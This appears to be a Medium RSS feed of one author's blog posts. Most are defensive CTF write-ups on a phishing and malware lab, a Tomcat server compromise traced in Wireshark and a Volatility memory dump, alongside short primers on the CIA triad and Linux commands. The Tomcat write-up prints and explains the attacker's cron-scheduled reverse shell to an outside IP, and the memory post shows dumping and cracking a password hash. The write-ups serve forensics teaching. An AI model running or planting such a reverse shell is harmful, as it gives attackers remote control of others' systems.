<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Igor Vicente on Medium]]></title>
        <description><![CDATA[Stories by Igor Vicente on Medium]]></description>
        <link>https://medium.com/@SeaPunk?source=rss-1b34f32a3fd9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ENi6bbX75z7zE3WHC0geFg.gif</url>
            <title>Stories by Igor Vicente on Medium</title>
            <link>https://medium.com/@SeaPunk?source=rss-1b34f32a3fd9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 06:22:29 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@SeaPunk/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PhishStrike Lab — A CyberDefenders Challenge]]></title>
            <link>https://medium.com/@SeaPunk/phishstrike-lab-a-cyberdefenders-challenge-d044395461e3?source=rss-1b34f32a3fd9------2</link>
            <guid isPermaLink="false">https://medium.com/p/d044395461e3</guid>
            <dc:creator><![CDATA[Igor Vicente]]></dc:creator>
            <pubDate>Tue, 26 Nov 2024 00:52:46 GMT</pubDate>
            <atom:updated>2024-11-26T00:52:46.303Z</atom:updated>
            <content:encoded><![CDATA[<h3>PhishStrike Lab — A CyberDefenders Challenge</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SqzlVqK1W7fhld8RLjrFbg.jpeg" /></figure><h3>Scenario</h3><p>As a cybersecurity analyst for an educational institution, you receive an alert about a phishing email targeting faculty members. The email, appearing from a trusted contact, claims a $625,000 purchase and provides a link to download an invoice.</p><p>Your task is to investigate the email using Threat Intel tools. Analyze the email headers and inspect the link for malicious content.</p><p>This challenge was prepared by <a href="https://cyberdefenders.org/dashboard/"><strong>cyberdefenders</strong></a></p><p><strong>Tools used during the investigation:</strong></p><ul><li>Email Header Analyzer — <a href="https://mxtoolbox.com/EmailHeaders.aspx">https://mxtoolbox.com/EmailHeaders.aspx</a></li><li>URLhaus — <a href="https://urlhaus.abuse.ch/">https://urlhaus.abuse.ch/</a></li><li>MalwareBazaar — <a href="https://bazaar.abuse.ch/">https://bazaar.abuse.ch/</a></li><li>ANYRUN — <a href="https://app.any.run/">https://app.any.run/</a></li></ul><p><strong>Information we should find:</strong></p><ol><li>Identifying the sender’s IP address with specific SPF and DKIM values helps trace the source of the phishing email. What is the sender’s IP address that has an SPF value of softfail and a DKIM value of fail?</li><li>Understanding the return path of the email helps in tracing its origin. What is the return path specified in this email?</li><li>Identifying the source of malware is critical for effective threat mitigation and response. What is the IP address hosting the malicious file associated with malware distribution?</li><li>Identifying malware that exploits system resources for cryptocurrency mining is critical for prioritizing threat mitigation efforts. The malicious URL can deliver several malware types. Which malware family is responsible for cryptocurrency mining?</li><li>Identifying the specific URLs malware requests is key to disrupting its communication channels and reducing its impact. Based on the previous analysis of the cryptocurrency malware sample, what does this malware request the URL?</li><li>Understanding the registry entries added to the auto-run key by malware is crucial for identifying its persistence mechanisms. Based on the BitRAT malware sample analysis, what is the executable’s name in the first value added to the registry auto-run key?</li><li>Identifying the SHA-256 hash of files downloaded from a malicious URL is essential for tracking and analyzing malware activity. Based on the BitRAT analysis, what is the SHA-256 hash of the file previously downloaded and added to the autorun keys?</li><li>Analyzing the HTTP requests made by malware helps in identifying its communication patterns. What is the HTTP request used by the loader to retrieve the BitRAT malware?</li><li>Introducing a delay in malware execution can help evade detection mechanisms. What is the delay (in seconds) caused by the PowerShell command according to the BitRAT analysis?</li><li>Tracking the command and control (C2) domains used by malware is essential for detecting and blocking malicious activities. What is the C2 domain used by the BitRAT malware?</li><li>Understanding the methods malware uses for exfiltrating data is crucial for detecting and preventing data breaches. According to the AsyncRAT analysis, what is the Telegram Bot ID used by the malware?</li></ol><p><strong>Write up</strong></p><p>We are going to analyze the following file during the investigation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*Dj-j9JUDGS5TElO0nkNnaw.png" /></figure><p>EML is a file format used by most email clients to store separate email messages for user profiles.</p><p>To find the sender’s IP you can use the <a href="https://mxtoolbox.com/Public/Tools/EmailHeaders.aspx?">MXtoolbox Email header.</a> First you need to access the email header to get the information needed for the tool to perform the analysis.</p><p>You can collect the email header by opening the .eml with notepad.</p><p>Put the header in the Email Header analyzer and you will receive information such as email servers, SPF, DKIM and other relevant information.Before continuing, it is important to explain what SPF and DKIM are.</p><p><strong>SPF (Sender Policy Framework): </strong>is an email authentication method that protects a sender’s domain against spoofing and spam.</p><p><strong>DKIM (DomainKeys Identified Mail): </strong>is an email authentication method that uses encryption to ensure that emails are sent from authorized servers.</p><p>You can find the sender’s IP in the SPF and DKIM Information part:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*-H-3JtyZmZA_0Dh4nmhs1g.png" /></figure><p>The second question is to find out the return path of the email. A return path email is an SMTP address in the email header that specifies where bounced emails are sent to.</p><p>You can find the return path in the “Headers found” section:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*ML5TPz2JwAhr9Xa6PHuT6A.png" /></figure><p>You can find the IP hosting malware in the Received Header part:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/310/1*yvNJeZF0UKQw2TLEjRDcNg.png" /></figure><p>As you can see, the attacker has hosted an .exe at the URL that will be downloaded as soon as the victim accesses the website.</p><p>To find out the answer to the third question of the challenge, we will use URLhaus to obtain more information. URLhaus has a database with information about URLs used to spread malware, making it a great tool for threat intelligence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JvAcoQTcf2LXxXEIqhi77A.png" /></figure><p>Search for the URL identified in the email and you will notice that it is classified with CoinMiner:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*fBYnVXDU7AaWPkaui9WfbA.png" /></figure><p>CoinMiner occurs when criminals hijack the computing power of a random machine for the purpose of mining coins.</p><p>For the next question, you must use the following hash in URLhaus:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*ccSGGHKzhkrxCPOOLz1IMg.png" /></figure><p><a href="https://urlhaus.abuse.ch/browse.php?search=453fb1c4b3b48361fa8a67dcedf1eaec39449cb5a146a7770c63d1dc0d7562f0">453fb1c4b3b48361fa8a67dcedf1eaec39449cb5a146a7770c63d1dc0d7562f0</a></p><p>Search for this hash on VirusTotal and go to “Relations”.</p><p>In the contacted URLs field you will have the answer to the fifth question:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*EhcwMwcndm8tFUXfXgghfg.png" /></figure><p>To find the name of the executable that CoinMiner uses for persistence, you need to use the following hash in URLhaus:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*j_I0W7dly36dRPpzmKXYDg.png" /></figure><p><a href="https://urlhaus.abuse.ch/browse.php?search=bf7628695c2df7a3020034a065397592a1f8850e59f9a448b555bc1c8c639539">bf7628695c2df7a3020034a065397592a1f8850e59f9a448b555bc1c8c639539</a></p><p>With this hash, go to the “BEHAVIOR” part of VirusTotal and look for “Registry keys set”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*KT9UQ6s72WTHEj7pJFm0HA.png" /></figure><p>You will only need to add the “.exe” to complete the question.</p><p>For question 7, just get the first hash in URLhaus:</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*j_I0W7dly36dRPpzmKXYDg.png" /></figure><p><a href="https://urlhaus.abuse.ch/browse.php?search=bf7628695c2df7a3020034a065397592a1f8850e59f9a448b555bc1c8c639539">bf7628695c2df7a3020034a065397592a1f8850e59f9a448b555bc1c8c639539</a></p><p>To find the HTTP request used by the loader to retrieve the BitRAT malware, go to “RELATIONS” in VirusTotal and select the following URL:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*01hmAM6karDEtiMQOyvU7A.png" /></figure><p>This is the HTTP request used by the malware.</p><p>To find the delay (in seconds) caused by the PowerShell command, you can use MalwareBazaar to get the anyrun analysis:</p><p>You can search for the hash we got from URLhaus on MalwareBazaar:</p><p><a href="https://bazaar.abuse.ch/sample/bf7628695c2df7a3020034a065397592a1f8850e59f9a448b555bc1c8c639539/">https://bazaar.abuse.ch/sample/bf7628695c2df7a3020034a065397592a1f8850e59f9a448b555bc1c8c639539/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e2rF1Vy6lHuVW9wtKeT_jA.png" /></figure><p>In ANYRUN, open the powershell process:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*VsOvqMfX5f22v7rPwZ6-Zw.png" /></figure><p>Copy the code into Base64 and decode:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*utiJhpJQFkAcvqhg6mMjbA.png" /></figure><p>Using a <a href="https://www.base64decode.org/">Base64 decoder</a>, you will find that the delay is 50 seconds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*6b5SHFkzxSfutcW9Yy7pQw.png" /></figure><p>The C2 domain used by the malware can be discovered in DNS requests on ANYRUN:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*sUg8HURlYO_W8XTQ_VVJQw.png" /></figure><p>A C2 server, or command and control server, is a tool used by cybercriminals to control and manage compromised devices on a network.</p><p>Back to <a href="https://urlhaus.abuse.ch/url/2381718/">https://urlhaus.abuse.ch/url/2381718/</a> but this time will choose AsyncRAT, after search in the previous site i don’t find anything, So I decided to use another platform like <a href="http://tria.ge/">tria.ge</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vKVT23P5x0W6_lD9A5EqMg.png" /></figure><p>go to the report in <a href="https://tria.ge/221025-mz5tpscdf8/behavioral2">tria.ge</a>, and scroll down to get Network section and as you see in previous image the malware use BOTID to exfiltrate stolen data:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*H_nJha9WOFyOPkkM4youqg.png" /></figure><p>See you in the next challenge!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d044395461e3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tomcat Takeover — A CyberDefenders Challenge]]></title>
            <link>https://medium.com/@SeaPunk/tomcat-takeover-a-cyberdefenders-challenge-2bb72cf453cc?source=rss-1b34f32a3fd9------2</link>
            <guid isPermaLink="false">https://medium.com/p/2bb72cf453cc</guid>
            <dc:creator><![CDATA[Igor Vicente]]></dc:creator>
            <pubDate>Sat, 13 Jan 2024 17:36:42 GMT</pubDate>
            <atom:updated>2024-01-13T17:36:42.334Z</atom:updated>
            <content:encoded><![CDATA[<h3>Tomcat Takeover — A CyberDefenders Challenge</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*EcmA9XdgyhLLRXdH.jpeg" /></figure><h4>Scenario</h4><p>Our SOC team has detected suspicious activity on one of the web servers within the company’s intranet. In order to gain a deeper understanding of the situation, the team has captured network traffic for analysis. This pcap file potentially contains a series of malicious activities that have resulted in the compromise of the Apache Tomcat web server. We need to investigate this incident further.</p><p>This challenge was prepared by <a href="https://cyberdefenders.org/p/Chadou#/overview">@Chadou</a></p><p><strong>Tool used during the investigation:</strong></p><ul><li>Wireshark 4.2.2 — <a href="https://www.wireshark.org/download.html">https://www.wireshark.org/download.html</a></li></ul><p><strong>Information we should find:</strong></p><ol><li>Given the suspicious activity detected on the web server, the pcap analysis shows a series of requests across various ports, suggesting a potential scanning behavior. Can you identify the source IP address responsible for initiating these requests on our server?</li><li>Based on the identified IP address associated with the attacker, can you ascertain the city from which the attacker’s activities originated?</li><li>From the pcap analysis, multiple open ports were detected as a result of the attacker’s activitie scan. Which of these ports provides access to the web server admin panel?</li><li>Following the discovery of open ports on our server, it appears that the attacker attempted to enumerate and uncover directories and files on our web server. Which tools can you identify from the analysis that assisted the attacker in this enumeration process?</li><li>Subsequent to their efforts to enumerate directories on our web server, the attacker made numerous requests trying to identify administrative interfaces. Which specific directory associated with the admin panel was the attacker able to uncover?</li><li>Upon accessing the admin panel, the attacker made attempts to brute-force the login credentials. From the data, can you identify the correct username and password combination that the attacker successfully used for authorization?</li><li>Once inside the admin panel, the attacker attempted to upload a file with the intent of establishing a reverse shell. Can you identify the name of this malicious file from the captured data?</li><li>Upon successfully establishing a reverse shell on our server, the attacker aimed to ensure persistence on the compromised machine. From the analysis, can you determine the specific command they are scheduled to run to maintain their presence?</li></ol><p><strong>Write up</strong></p><p>We are going to analyze the following file during the investigation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*C-gtCwK-1MXuEhDqbUVnjg.png" /></figure><p>Firstly, it is important to point out that a PCAP file stands for Packet Capture, which is a file format used to store network packet data captured from a network interface.</p><p>To find the IP that start the requests, open your pcap file in Wireshark and upon little scroll, you’ll find a portion with combined SYN and RST requests and, upon a close look, you will observe that the packet requests are huge in number. Look for the SRC and you’ll see the address 14.0.0.120, which is the IP that start the requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*5kStcMAsZTKxyNqqFEx2iw.png" /></figure><p>In a TCP connection, the SYN flag refers to the beginning of the connection and the RST flag means that a reset occurred in the connection (error or something similar).</p><p>With the IP address associated with the attacker, we can find the city from which the attacker’s activities originated. Using whatismyip, we discovered that the city of origin of the IP is Guangzhou, located in China.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*bQ1sw1j-yuQgCRhazJpZbQ.png" /></figure><p>To find the port that provides access to the web server admin panel, you can filte you can filter by <strong>tcp.stream eq 9452 </strong>and go and go straight to package 20127. Here you can use the filter by <strong>Follow &gt; TCP Stream </strong>and it will show you that the port is 8080.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*1AaL8RRTQ9ZdjPtm4gnNXA.png" /></figure><p>After discovering the open ports on the server, the attacker attempted to enumerate and discover the directories on our server. To discover the tool used by the attacker, you can search by any packet that has GET in Hypertext Transfer Protocol and look for the User-Agent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*_O8qIpm5en_Igg9BxbdxPQ.png" /></figure><p>Thus, we identified that the tool used by the attacker is gobuster, a tool used to brute-force URLs (directories and files).</p><p>After efforts to list directories, the attacker made numerous requests trying to identify administrative interfaces. To find out the attacker’s specific directory, filter by <strong>tcp.stream eq 9449 </strong>and filter by <strong>Follow &gt; HTTP Stream. </strong>Follow the HTTP stream and upon thorough observation, you will realize that among the GET requests by the attacker, there is one that contains an Unauthorized response. This contains the directory associated with the admin panel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*bgaE_2dYp9oH1cGCx8XYEg.png" /></figure><p>After accessing the web server’s administrative panel, the attacker made attempts to brute-force the login credentials and, to find out which credential was used, use the filter <strong>http.request.method==”POST”</strong> in Wireshark. After using this filter, you will be directed to the package that has the credentials used for access, just go to <strong>HyperText Transfer Protocol &gt; Authorization </strong>and the credentials are there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*i_Cy1sXSVYb3q3ChP_zQlQ.png" /></figure><p>In this case, we filter by the POST method as it is designed to request that the web server accept the data attached in the body of the request message for storage.</p><p>Now that the attacker has gained access to our administrative panel, he has uploaded a file to establish a reverse shell. A reverse shell is a type of shell in which the target machine initiates a connection to the attacker’s machine, allowing the attacker to execute commands on the target machine remotely.</p><p>You can find the name of the file that the attacker used in package 20616 or by filtering through the POST method. In the package, filter by <strong>Follow &gt; HTTP Stream </strong>and you will see the file name in the filename field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*R_NvyiQnemD-Izzg6GZ6rQ.png" /></figure><p>After the attacker managed to establish the reverse shell, he aimed to ensure persistence on the compromised machine. To identify the command used to establish persistence, filter by <strong>tcp.stream eq 9461, </strong>go to package 20684, filter by <strong>Follow &gt; TCP Stream </strong>and you will see that one of the commands executed by the attacker is /bin/bash -c ‘bash -i &gt;&amp; /dev/tcp/14.0.0.120/443 0&gt;&amp;1’”, this is the command for persistence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*EJOuEupI5rCCadyJ1IbUzw.png" /></figure><p>Explaining the command line:</p><ul><li>cron: This part uses the echo command to write a line to the file called “cron”. This line contains a cron schedule that indicates that the next command should be executed every minute (* * * * *), where each asterisk represents a different time field (minute, hour, day of the month, month, day of the week) . The command to run is /bin/bash -c ‘bash -i &gt;&amp; /dev/tcp/14.0.0.120/443 0&gt;&amp;1’.</li><li>/bin/bash -c: This runs Bash (command interpreter) with the -c option, which allows a command to be given as a string.</li><li>‘bash -i &gt;&amp; /dev/tcp/14.0.0.120/443 0&gt;&amp;1’: This is the command that will be executed by Bash. It attempts to establish a network connection to IP address 14.0.0.120, port 443, using input and output redirection for interactive interaction (-i).</li><li>crontab -i cron: This part installs cron configuration from “cron” file using crontab command. The -i option indicates that cron entry should be read from the specified file (“cron” in this case).</li></ul><p>See you in the next challenge!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2bb72cf453cc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Memory Analysis— A LetsDefend Challenge]]></title>
            <link>https://medium.com/@SeaPunk/memory-analysis-a-letsdefend-challenge-2a17f1ae8a2d?source=rss-1b34f32a3fd9------2</link>
            <guid isPermaLink="false">https://medium.com/p/2a17f1ae8a2d</guid>
            <dc:creator><![CDATA[Igor Vicente]]></dc:creator>
            <pubDate>Sat, 11 Nov 2023 20:16:05 GMT</pubDate>
            <atom:updated>2023-11-11T20:16:05.785Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*brD-gsNhzHxjS4UcTwp2vg.jpeg" /></figure><h4><strong>Scenario</strong></h4><p>A Windows Endpoint was recently compromised. Thanks to our cutting-edge EDR/IDS solution we immediately noticed it. The alert was escalated to Tier 2 (Incident Responders) for further investigation. As our Forensics guy, you were given the memory dump of the compromised host. You should continue to investigate.</p><p>This challenge was prepared by @<a href="https://www.linkedin.com/in/abdullah-bin-yasin-4b418119a">0xCyberJunkie.sh</a></p><p><strong>Tool used during the investigation:</strong></p><ul><li>Volatility 3 — <a href="https://www.volatilityfoundation.org/releases">https://www.volatilityfoundation.org/releases</a></li></ul><p><strong>Information we should find:</strong></p><ol><li>What was the date and time when Memory from the compromised endpoint was acquired?</li><li>What was the suspicious process running on the system?</li><li>Analyze and find the malicious tool running on the system by the attacker.</li><li>Which User Account was compromised?</li><li>What is the compromised user password?</li></ol><p><strong>Write up</strong></p><p>We are going to analyze the follwing file during the investigation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*yhMA_figXeOYaqMnVDY8UQ.png" /></figure><p>This file contains the necessary information to discover the attacker’s actions.</p><p>First, we need to identify the date and time that the compromised machine’s memory was acquired. To do this, we can use the <strong>windows.info</strong> plugin present in volatility.</p><p><strong>Ex:</strong> python vol.py -f {path for the .mem file} windows.info</p><p>After this command, the following informations will be given:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/278/1*BVgPwuY5xLIyAx1Rb7_m5g.png" /></figure><p>As you can see, this command give to us some important details about the system and, if you saw the <strong>SystemTime </strong>information, then you know what was the time and date that the memory was acquired. The SystemTime specifies the date and time of the system, so the .mem file give to us the last time before the dump of the memory.</p><p>Another important step as a part of the forensics is the Analysis of the processes running on the machine since most of the malwares pass themselves off as legitimate processes to confuse the user and security systems, such as antivirus.</p><p>At the volatility, use the plugin <strong>windows.pslist</strong> to list the processes that were running on the machine and, after executing the command, we have a <strong>lsass.exe </strong>that has a PPID (Parent Process ID) linked with the explorer.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/359/1*bk_0i0AYLAa_Daulu6YpXQ.png" /><figcaption>The PPID 3996 of the lsass.exe</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/354/1*ereVOJw6Lt_Pfo212WFpEA.png" /><figcaption>The PID 3996 of the explorer.exe</figcaption></figure><p>After carrying out this comparison and understanding that it is very suspicious that lsass is related to explorer, we were able to move on to the next challenge.</p><p>Now that we know the suspicious process, we should dump the lsass.exe to see if we can discover what is the tool that the attacker used.</p><p>To do this, execute the following command:</p><p>python vol.py -f {path for the .mem file} windows.pslist — pid 7592 — dump</p><p>After this you’ll have the following .dmp file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/210/1*oeXvaY50sAqW4vrsnm3EZw.png" /></figure><p>With this file, you can go to VirusTotal and see that the name of the malicious tool is winPEAS:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yUm_3gSlf_9DJs0cp9qRzQ.png" /></figure><p>winPEAS is a script that will search for all possible paths to escalate privileges on Windows hosts.</p><p>Another point of a forensics analysis or incident response is to find if a user was compromised. As part of the challenge, lets find the compromised user of the domain.</p><p>To do this at volatility, execute the following command:</p><p>python vol.py -f {path for the .mem file} windows.registry.printkey</p><p>After this, you’ll see the only user on the machine is CyberJunkie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*uyK8XvMvioV-XqY9t2tnPw.png" /></figure><p>Now that we have the use lets find the domain.</p><p>Execute the following command:</p><p>python vol.py -f {path for the .mem file} windows.sessions</p><p>With this plugin, you’ll see the following the sessions on the machine with the user and domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*csDBW6KZzmyQkaO5sD0TPw.png" /></figure><p>As the last task, let’s find the compromised password.</p><p>To do this, execute this command:</p><p>python vol.py -f {path for the .mem file} windows.hashdump</p><p>Copy the last hash of the user and use the site CrackStation to see the password behinnd the hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*JuPfUxIhvC0ymLJV1gwJow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*VikgYSV5WIs-er9CIfaR9A.png" /></figure><p>And now you know that the user password is password123 (remember to always have a strong password policy in your environment, do not use weak passwords like this).</p><p>With this, we close our write up on this challenge.</p><p>See you in other write ups.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2a17f1ae8a2d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What is the CIA triad?]]></title>
            <link>https://medium.com/@SeaPunk/what-is-the-cia-triad-955a9a9f1289?source=rss-1b34f32a3fd9------2</link>
            <guid isPermaLink="false">https://medium.com/p/955a9a9f1289</guid>
            <category><![CDATA[iso]]></category>
            <category><![CDATA[it]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Igor Vicente]]></dc:creator>
            <pubDate>Mon, 27 Sep 2021 00:21:47 GMT</pubDate>
            <atom:updated>2021-09-27T00:21:47.852Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*QHeBGoOyYjwcpRbguwzFTQ.jpeg" /></figure><p>The CIA triad is a set of norms to define best practices for security culture in a business. The triad consists of integrity, confidentiality, and availability, these three norms contain subcategories that help to understand deeply how these norms work. Let’s take a look at the norms and your subcategories.</p><p><strong>CONFIDENTIALITY:</strong></p><p>Confidentiality refers to the efforts to keep data private and secret. In practice, it’s about controlling access to data to prevent unauthorized disclosure. Confidentiality has two subcategories, <em>exclusivity,</em> and <em>privacy.</em></p><p><strong>Exclusivity:</strong> Data exclusively for users authorized to access them.</p><p><strong>Privacy:</strong> Protection of the user’s data stored in the system, through the exclusivity concept.</p><p>As described above, confidentiality searches for ensuring that only those who are authorized have access to specific assets and that those who are unauthorized are actively prevented from obtaining access.</p><p><strong>INTEGRITY:</strong></p><p>In infosec, integrity is about ensuring that data has not been tampered with and, therefore, can be trusted. For example, banking customers need to be able to trust that their banking information and account balances have not whit tampered with.</p><p><strong>Authenticity</strong>: This characteristic of integrity refers if the data really belongs to the author.</p><p><strong>Validity:</strong> The data really is reliable? Check if the data hasn’t be changed.</p><p>Integrity goes whit the idea of non-repudiation: the inability to deny something. By using digital signatures like e-mail, a sender can’t deny having sent a message. Non-repudiation assists in ensuring integrity.</p><p><strong>AVAILABILITY:</strong></p><p>Availability means that networks, systems, and applications are up and running. It ensures that authorized users have timely, reliable access to resources when they are needed.</p><p><strong>Continuity: </strong>Remain available even if elements of the system that support it fail.</p><p><strong>Readiness: </strong>It is available whenever necessary.</p><p><strong>Robustness: </strong>Allow access to all system users without degradation of services.</p><p>Countermeasures to help ensure availability include redundancy in servers, networks, applications, and services, hardware fault tolerance for servers, and storage, regular software patching and systems upgrade, backup, disaster recovery plans, and denial-of-service protection solutions.</p><p><strong>How to apply the principles?</strong></p><p>It depends on the security goals, the industry, the nature of the business, and any applicable regulatory requirements. For example, confidentiality is vital within certain government agencies; Integrity takes priority in the financial sector because the difference between R$ 3,50 and R$ 3500,00 is huge; availability is critical in both the e-commerce sector, and the healthcare sector.</p><p>Each organization must decide how to apply these principles given their unique requirements, balanced with their desire to provide a seamless and safer user experience.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=955a9a9f1289" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Part 2: basic commands in the Linux terminal.]]></title>
            <link>https://medium.com/@SeaPunk/part-2-basic-commands-in-the-linux-terminal-92c309d2bcd7?source=rss-1b34f32a3fd9------2</link>
            <guid isPermaLink="false">https://medium.com/p/92c309d2bcd7</guid>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[it]]></category>
            <category><![CDATA[linux-tutorial]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[linuxworld]]></category>
            <dc:creator><![CDATA[Igor Vicente]]></dc:creator>
            <pubDate>Sun, 01 Aug 2021 23:10:27 GMT</pubDate>
            <atom:updated>2021-08-01T23:10:27.315Z</atom:updated>
            <content:encoded><![CDATA[<p>This is part 2 of some basic commands, that if you didn’t see part 1, there are <a href="https://medium.com/@SeaPunk/some-basic-commands-in-the-linux-terminal-7abe50b21985">Linux commands</a>. So, let’s start with some more basic commands.</p><h3><strong>touch Command:</strong></h3><p>The touch command is used to create empty files, and update the timestamps on existing files and directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6iGaUr7rSUJ3ez8f1RJUjQ.png" /><figcaption>Example of the touch command</figcaption></figure><p>If the files already exist, touch will change the file’s last access and modification time to the current time.</p><h3>mkdir Command:</h3><p>The mkdir command is used to create a directory, pass the name of the directory as the argument to the command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hpo19hzbsn3N6bzsUGMFTw.png" /><figcaption>Example of the mkdir command</figcaption></figure><p>As the example above, you pass the command mkdir and the name of the directory. As well, use the command rmdir, with the name of the directory, to delete.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GO6govpQRkYzDFhO87z-Vg.png" /><figcaption>Example of the rmdir command</figcaption></figure><p>Now the directory linuxcommand was deleted.</p><h3>Elevate privileges(sudo):</h3><p>The sudo command allows you to runs programs as another user, by default the root user. To use sudo, simply prefix the command with sudo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ky_G_OmnNsNV37-db6pUtQ.png" /><figcaption>Example of the sudo command</figcaption></figure><p>Use the command “sudo su” to log in as a root, then the command will request your password to log in as a root.</p><p><strong>Installing and remove packages:</strong></p><p>A package manager is a tool that allows you to install, remove and update manage distro-specific software packages.</p><p><strong>Ubuntu and Debian(apt command):</strong></p><p>Advanced package tool or apt is a package management system used by Debian-based distributions.</p><p>Before installing a new package, you need to update the APT package index:</p><p>Use the command <em>sudo apt update to update your APT package. The command sudo must be used to give permissions because some directories can be accessed by the root.</em></p><p>To upgrade the installed packages to their latest version, use the command <em>sudo apt upgrade.</em></p><p>To install the packages, run <em>sudo apt install package_name.</em></p><p>To remove an installed package, run <em>sudo apt remove package_name.</em></p><h4>CentOS and Fedora(dnf command):</h4><p>RPM is a powerful package management system used by Red hat Linux and its relatives such as CentOS and Fedora.</p><p>To install a new package on Red hat distributions, you can use either <em>yum</em> or <em>dnf </em>commands<em>. </em>For example the command <em>dnf package_name.</em></p><p>To upgrade the installed packages to their latest versions, run <em>dnf update.</em></p><p>Remove packages is as simple as<em> dnf remove package_name.</em></p><p>I hope that this article can be useful for you. I’ll bring part 3 as soon as possible, maybe the next week. So just have fun testing these new commands.</p><p>See you soon!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=92c309d2bcd7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Some basic commands in the Linux terminal.]]></title>
            <link>https://medium.com/@SeaPunk/some-basic-commands-in-the-linux-terminal-7abe50b21985?source=rss-1b34f32a3fd9------2</link>
            <guid isPermaLink="false">https://medium.com/p/7abe50b21985</guid>
            <category><![CDATA[it]]></category>
            <category><![CDATA[linux-tutorial]]></category>
            <category><![CDATA[linuxworld]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[open-source]]></category>
            <dc:creator><![CDATA[Igor Vicente]]></dc:creator>
            <pubDate>Mon, 26 Jul 2021 01:24:11 GMT</pubDate>
            <atom:updated>2021-07-26T01:24:11.440Z</atom:updated>
